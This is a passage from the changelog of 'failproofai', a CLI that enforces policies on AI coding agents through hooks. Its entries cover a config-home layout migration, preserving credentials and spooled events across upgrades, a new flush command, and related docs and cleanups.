right-hand side is exact rather than approximate — no `toml` dependency comes back, which was half the point of layout 3), then runs the **same** `projectConfig` / `projectCredentials` projections the JSON readers use rather than a second reader that would have to be kept in step; the two formats already share their key names, so the only thing that differed was how bytes become an object. A malformed line is skipped rather than costing the user the whole file, a `[cloud]` table with no token is not written at all (a credentials file that looks present and authenticates nothing is worse than none), and the telemetry opt-out is applied last so a carried `enabled: true` — the shipped default, which is nobody's choice — cannot revoke it. (#663) - -- Deliver what is already spooled immediately after a layout migration, so a machine that has just been upgraded does not sit on a backlog for a collector cycle while somebody watches a dashboard. The ordering is the subtlety, and the intuitive one is wrong: flushing *before* the migration cannot work, because `readConfig()` reads `config.json` and the ingest credential comes from `credentials.json` — both layout-3 files a stale home does not have — so it would find no credential on every machine it ever ran on, refuse, and report nothing pending. Running it after the carry above means both files exist. This is a convenience rather than the protection: the spool is `undelivered` in `HOME_CLASSES` and survives regardless, which is what matters, because `cursors/` survives too and the watermark has already advanced past every batch in it. Best-effort by construction — collection off, no credential, an unsupported platform or no daemon listening are all ordinary rather than errors, and a flush that throws cannot fail a migration. A backlog that survives anyway is named in the output rather than left silent, since "safe" and "delivered" are different states and only one of them shows up on a dashboard. (#663) - -- Stop a layout upgrade deleting the cloud enrolment, the machine's settings, its undelivered events and its telemetry identity. Every path in `~/.failproofai` now declares what it HOLDS — `user-typed`, `undelivered`, `identity`, `derived`, `refetchable` or `ephemeral` — and the reset list is DERIVED from that rather than hand-maintained beside it. The rule: derived and re-fetchable may be dropped; anything a person typed, anything not yet delivered, and anything that identifies the machine is carried. Five paths stop being deleted as a result, each a real loss. `credentials.json` held the cloud token, so an upgrade dropped the machine out of cloud-managed policy silently — it kept enforcing whatever it last had, reported healthy, and never reconciled again. `config.json` held `daemon.configured` (the flag that makes a machine fail closed), the collector preferences, `[audit] auto` and every `extra_paths` a user typed. `state/spool`, `state/failed` and `custom-agents/` held events already read out of transcripts and queued for upload — and losing those is PERMANENT rather than slow, because `cursors/` deliberately survives so the watermark has already advanced past them and nothing will ever read that range again; the SDK spool is the same story. `state/telemetry-id` is how the CLI and the daemon agree on one PostHog person. `state/` was the sharpest of them: listing that parent is exactly how a reset came to take the spool and the identity along with a dozen scratch files, so its children are classified individually and the parent is not listed at all — anything under it this table has not been taught about now survives instead of being swept up. Because the policy selection, the settings and the enrolment all survive, a migrated machine is configured in fact and not merely in appearance, so the migration no longer forces an interactive `failproofai config` afterwards — which on a fleet box, a CI runner or a headless gateway is a prompt with nobody to answer it. A home that genuinely never finished setup still reaches the wizard by the ordinary route, because `isConfigured()` is false for it. The forgetting direction is inverted too: a path absent from the table is not deleted, so an oversight now leaves a stale file — loud and recoverable — instead of a deleted token. A test enumerates this module's own exports and fails on any path that is neither classified nor covered by a classified parent, which is the same shape as the two other cross-list guards in this repo. (#663) - -- Stop `config.json` and `credentials.json` losing keys this build does not recognise. Both readers are whitelist projections — they name every key they understand and build a fresh object — and both writers regenerated the file wholesale from that projection, so any unrecognised key was erased on the next write. No layout change is involved: two CLI versions on the SAME layout round-trip these files and silently delete each other's keys, and most releases do not bump the layout, so `detectLayout()`'s newer-layout refusal never fires to protect them. `collector.sources..extra_paths` is the live case — added inside layout 3, so a CLI predating it drops every extra path a user typed on the first `updateConfig()` call, which is the entire output of `failproofai harness add-path`, and an absent capture root is indistinguishable from an idle one. `org` is the same story on the credentials side: its own doc records that it is absent in files written by an older CLI, which is precisely a key such a CLI deletes on write, taking the only local answer to "where does this machine's data go?" with it. Both writers now start from the previous bytes, strip only the keys they own, and lay the projection on top. Ownership has to run in both directions, and the second half is what makes it safe: an owned key ABSENT from the projection is a deliberate omission and is deleted, because these writers use absence to express state — `telemetry` is emitted only when switched off, `machine_id` only when set, `sources` only when non-empty — so a blind merge would resurrect them and a telemetry opt-out could never be revoked. `collector.sources` is keyed by harness name and therefore owned through a wildcard rather than wholesale, or a future per-harness sibling of `extra_paths` would be the same loss one level down. Emptied containers are pruned, so a machine that configured nothing still gets a file with no `telemetry` and no `sources` key at all. (#663) - -### Docs - -- Document `failproofai update` and `failproofai migrate` (`docs/cli/update.mdx`, `docs/cli/migrate.mdx`), and add an "Upgrades keep your configuration" section to the configuration page. The upgrade story had no user-facing documentation at all: the one-line `npm install -g failproofai@latest && failproofai update`, why a second command is needed (npm replaces the CLI and neither `~/.failproofai/` nor the daemon binary at `~/.failproofai/bin/failproofaid-` moves with it), what a migration carries versus rebuilds, what `--dry-run` prints, where the ledger and backup live, and what happens when a step fails or the home turns out to be newer than the CLI. (#663) - -## 1.0.0-beta.15 — 2026-08-10 - -### Fixes - -- Remove an unused local in `readCarriedPolicyConfig()` (`src/hooks/fp-reset.ts`) left over from splitting the read/write phases of the layout-1→3 policy-config carry apart; the write target it computed belongs to the paired `writeCarriedPolicyConfig()` a few lines down. (#663) - -- Remove `ino.ujh3/`, a test-sandbox directory (bun's install-cache `.pile` blobs and a fake `~/.failproofai` `VERSION`/state) accidentally committed alongside the layout-3 migration in `587d0567`. Nothing in the codebase referenced the path. (#663) - -- Ignore bun's install-cache blobs and this CLI's own runtime state (`bin/`, `run/`, `state/`) wherever they appear, so a future smoke test whose `HOME` lands inside the repo can't recommit the class of file `ino.ujh3/` was. Scoped to leave the repo's own dogfood `/.failproofai/` (`policies-config.json`, `policies/`) untouched. (#663) - -- Remove an unused `dirname` import in `__tests__/hooks/fp-reset.test.ts`, the other `noUnusedLocals` violation this branch was carrying (see #666). (#663) - -## 1.0.0-beta.15 — 2026-08-09 - -### Docs - -### Features - -### Fixes - -- Bootstrap this repo's dogfood hooks on a fresh checkout. `scripts/dev-hook.mjs` already installed the Bun executable and built `dist/index.js`, but never installed the project dependencies that the source hook binary imports, so self-development hooks failed before they could enforce while published-package use kept working. The launcher now detects missing or partial runtime dependencies and runs `bun install --frozen-lockfile` once under its existing cross-hook lock before loading policies; a failed install is reported and the hook exits instead of silently continuing unenforced. - -### Docs - -- Trim the extra-capture-path guidance in `failproofai --help` back to the command listing, and keep the useful half — the per-user labelling rule and the container `FAILPROOFAI__EXTRA_PATHS` override — in `harness --help`, where someone who has decided to use the feature will look. Twenty-one lines of prose in a listing that is scanned rather than read is not help. (#663) - -## 1.0.0-beta.14 — 2026-08-08 - -### Features -- Reorganise `~/.failproofai` into layout 3, which changes three things about what a directory means. **Everything is JSON.** `config.toml` and `credentials.toml` become `config.json` and `credentials.json`, so one home has one parser and one escaping rule instead of two, and neither the CLI nor the daemon carries a TOML dependency to read files that were only ever flat key/value. **`policies/` holds policies, and only policies.** It also held `local-policies/` — our configuration, not a policy at all, which put the one file a user must never hand-edit among the ones they are told to drop in; that moves to `policies-config.json` at the home root. What stays is every policy on the machine: the user's own `*.mjs` directly in `policies/`, the fleet's under `policies/cloud-policies/`, so one directory answers "what governs this machine". Nesting them is safe because the convention loader does not recurse — `discoverPolicyFiles()` and `findSkippedPolicyFiles()` both filter `isFile()` — and that is now asserted against a real directory rather than assumed, because if either ever walks subdirectories then every cloud artifact becomes a convention policy loaded with NO digest check, which is the one thing `cloud-managed-policies.ts` exists to prevent. **Cloud deployments are flat.** `cloud-policies/generations//` kept a full copy of every artifact per deployment — a tree to create, prune and keep consistent with a per-deployment manifest, on top of the content-addressed `artifacts/` copy that already makes them immutable — so the copies bought nothing the digests did not. What remains is one `artifacts/` directory and an `active.json` naming what is live; activation is still atomic because it was always the manifest flip, never the file copy. The cost is stated where it is paid: a tampered artifact can no longer be rebuilt from the second on-disk copy, so an offline machine loses that policy until it can re-fetch. The safety property is unchanged either way — the hook path verifies every digest immediately before import, so tampered bytes are refused rather than run. (#663) - -- Add `failproofai flush` — deliver what is already spooled, now. The collector is unhurried on purpose (a batch is swept once it is older than two minutes, at most 64 per pass, on a 60-second cadence), which is right for a backlog and exactly wrong for somebody standing at a dashboard waiting to see their own events: from there "not delivered yet" and "not working" look identical. The command asks the daemon for a pass with no minimum age and no cap, and `--wait` waits until the spool drains or its timeout expires, so a script can flush and then assert. It re-sends nothing — for history the collector already read past, that is still `backfill`. (#663) - -- Rename the cloud-policy vocabulary: a **generation** is now a **deployment**, and a policy **revision** is a **version**. Both were words the product used nowhere else — a customer reads "deployment 7" and "version 3" without a glossary. The rename goes through the wire format and the on-disk manifest, not just the labels, and lands with the matching AgentEye change: a server and a daemon that disagree on these names means the fleet stops reconciling, silently. (#663) - -- Capture sessions from more than one location per agent CLI. Every source watched exactly the place its own installer puts it — `~/.claude/projects`, `~/.hermes/state.db` — which is right for one machine and wrong for every other arrangement: a second profile, a mounted team share, a container's home beside the host's, an agent an operator relocated. Those hold real sessions and nothing collected them. `failproofai harness add-path [